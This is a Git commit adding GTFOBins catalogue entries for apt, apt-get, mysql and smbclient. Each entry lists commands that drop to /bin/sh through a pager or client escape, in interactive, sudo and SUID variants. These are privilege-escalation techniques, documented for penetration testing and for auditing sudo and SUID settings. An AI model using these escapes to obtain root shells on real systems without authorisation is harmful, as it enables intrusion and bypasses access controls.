Add apt, apt-get, mysql and smbclient

Thanks to #20.
This commit is contained in:
Andrea Cardaci 2018-08-31 11:09:19 +02:00
parent 5b18d9340a
commit 09564b427f
4 changed files with 46 additions and 0 deletions

12
_gtfobins/apt-get.md Normal file
View File

@ -0,0 +1,12 @@
---
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
functions:
execute-interactive:
- code: |
apt-get changelog apt
!/bin/sh
sudo-enabled:
- code: |
sudo apt-get changelog apt
!/bin/sh
---

12
_gtfobins/apt.md Normal file
View File

@ -0,0 +1,12 @@
---
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
functions:
execute-interactive:
- code: |
apt-get changelog apt
!/bin/sh
sudo-enabled:
- code: |
sudo apt-get changelog apt
!/bin/sh
---

10
_gtfobins/mysql.md Normal file
View File

@ -0,0 +1,10 @@
---
description: A valid MySQL server must be available.
functions:
execute-interactive:
- code: mysql -e '\! /bin/sh'
sudo-enabled:
- code: sudo mysql -e '\! /bin/sh'
suid-limited:
- code: ./mysql -e '\! /bin/sh'
---

12
_gtfobins/smbclient.md Normal file
View File

@ -0,0 +1,12 @@
---
description: A valid SMB/CIFS server must be available.
functions:
execute-interactive:
- code: |
smbclient \\ip\share
!/bin/sh
sudo-enabled:
- code: |
sudo smbclient \\ip\share
!/bin/sh
---